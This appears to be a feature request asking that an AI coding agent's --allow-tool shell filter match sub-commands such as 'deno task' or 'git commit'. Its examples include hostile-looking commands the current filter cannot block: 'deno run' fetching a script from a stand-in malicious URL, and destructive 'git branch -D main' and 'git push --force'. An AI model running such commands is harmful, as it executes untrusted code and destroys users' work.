Feature Request: Support sub-command granularity in --allow-tool shell filter

### Describe the feature or problem you'd like to solve

`--allow-tool="shell(deno:*)"` allows any `deno` sub-command with no way to restrict to specific ones (e.g. only `deno task`), making least-privilege shell access impossible.

### Proposed solution

## Feature Request

### Summary

Allow `--allow-tool` shell filters to match sub-commands, not just the base command.

### Current Behavior

`--allow-tool="shell(deno:*)"` permits any `deno` command (e.g. `deno run`, `deno task`, `deno eval`, etc.) without finer control.

### Desired Behavior

Support a sub-command syntax such as:

--allow-tool="shell(deno task:*)"

This would allow only `deno task ` while blocking other `deno` sub-commands like `deno run` or `deno eval`.

### Use Case

When running in a project with a `deno.json` task runner, I want the agent to be allowed to execute predefined tasks (`deno task build`, `deno task test`) but not arbitrary `deno run` commands, which could execute untrusted scripts.

### Proposed Syntax

- `shell(deno:*)` — current behavior, matches any `deno ...`
- `shell(deno task:*)` — new, matches only `deno task ...`
- `shell(git commit:*)` — another example, matches only `git commit ...`

### Example prompts or workflows

1. --allow-tool="shell(deno task:*)"
Allow only predefined tasks (deno task build, deno task test) while blocking
deno run, deno eval, etc.
⚠️ Today: deno run https://malicious.example/script.ts cannot be blocked
if deno task is needed.

2. --allow-tool="shell(git commit:*)" --allow-tool="shell(git push:*)"
Permit only committing and pushing, preventing branch deletion or force-push.
⚠️ Today: git branch -D main or git push --force cannot be blocked
if any git command is needed.

3. --allow-tool="shell(npm run:*)" Restrict to npm scripts defined in package.json, blocking npm install or
arbitrary package execution.
⚠️ Today: npm install cannot be blocked
if npm run is needed.

### Additional context

_No response_